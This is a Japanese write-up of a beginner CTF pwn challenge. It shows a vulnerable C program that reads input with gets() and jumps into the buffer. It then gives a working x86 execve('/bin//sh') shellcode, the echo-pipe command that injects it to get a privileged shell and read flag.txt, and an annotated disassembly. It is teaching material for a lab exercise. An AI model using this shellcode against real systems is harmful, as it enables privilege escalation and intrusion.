pwnの初歩的問題です。概要は、悪意のあるシェルコードを埋め込んでシェルの権限を奪ってコマンドを実行することでフラグをゲットできるといったものです。
問題の考察
問題のディレクトリーに入ってみるとflag.txtが存在します。こちらに、フラグが書いてありそうですね。catコマンドで開いてフラグゲットですね・・・という訳にもいきませんよね。もちろん、権限が足りません。
ということで、vuln.cの中身を見てみましょう。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#define BUFSIZE 148
#define FLAGSIZE 128
void vuln(char *buf){
gets(buf);
puts(buf);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
char buf[BUFSIZE];
puts("Enter your shellcode:");
vuln(buf);
puts("Thanks! Executing now...");
((void (*)())buf)();
puts("Finishing Executing Shellcode. Exiting now...");
return 0;
}
このコードから以下のことが分かります。
① // Set the gid to the effective gid. this prevents /bin/sh from dropping the privileges というコメントから、このコードから/bin/shを呼び出せば、権限を持ってシェルを使うことができる
② gets関数から受け取った入力がbufに格納される
③ ((void (*)())buf)()よりbufを引数なしの関数の関数ポインタにキャストし即時実行する
解答
/bin/shを呼び出すことができるシェルコードを探します。サイトはここを利用しました。Intel x86から使えそうなシェルコードを探します。
以下が埋め込むシェルコードになります。
\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80
あとは以下のようにすることでシェルを起動することができます。
(echo -e "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80";cat) | ./vuln
cat flag.txtを入力しフラグをゲットしましょう。
なぜシェルが起動するのか
先ほどのシェルコードを逆アセンブルして内容を確認してみましょう。
echo -en "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80" > tmp && objdump -M intel -D -b binary -m i386 tmp > asm.txt
0: 31 c9 xor ecx,ecx # ecxに0をセット
2: f7 e1 mul ecx # eaxにecxをかけ、edx:eaxに0をセット
4: b0 0b mov al,0xb # eaxの下位8ビットに0xbをセット
6: 51 push ecx # ecxの値は0なので,ヌル文字を表している?
7: 68 2f 2f 73 68 push 0x68732f2f # asciiコードを文字に直すと //sh (リトルエンディアンであることに注意)
c: 68 2f 62 69 6e push 0x6e69622f # asciiコードを文字に直すと /bin
11: 89 e3 mov ebx,esp # ebxにスタックに積んだ"/bin//sh\0\0\0\0"の先頭番地をセット
13: cd 80 int 0x80 # 割り込み発生 eaxの値を見てシステムコールの種類を特定
int 0x80で割り込みを発生させたときに、eaxの値を確認してどのシステムコールを利用するか決めます。番号とシステムコールの対応は、/usr/include/asm/unistd_32.h で確認できます。
今回はeaxに0xbつまり10進数で11を入れているため、execveが呼び出されるということが分かります。
execveを呼び出すときの引数として、"/bin//sh\0\0\0\0"をスタックに積んでいます(なぜ/が1個多いかはよくわかりません・・バイト数合わせるため?)。execveでは第一引数に実行ファイルのパスを指定するため、シェルを起動することができます。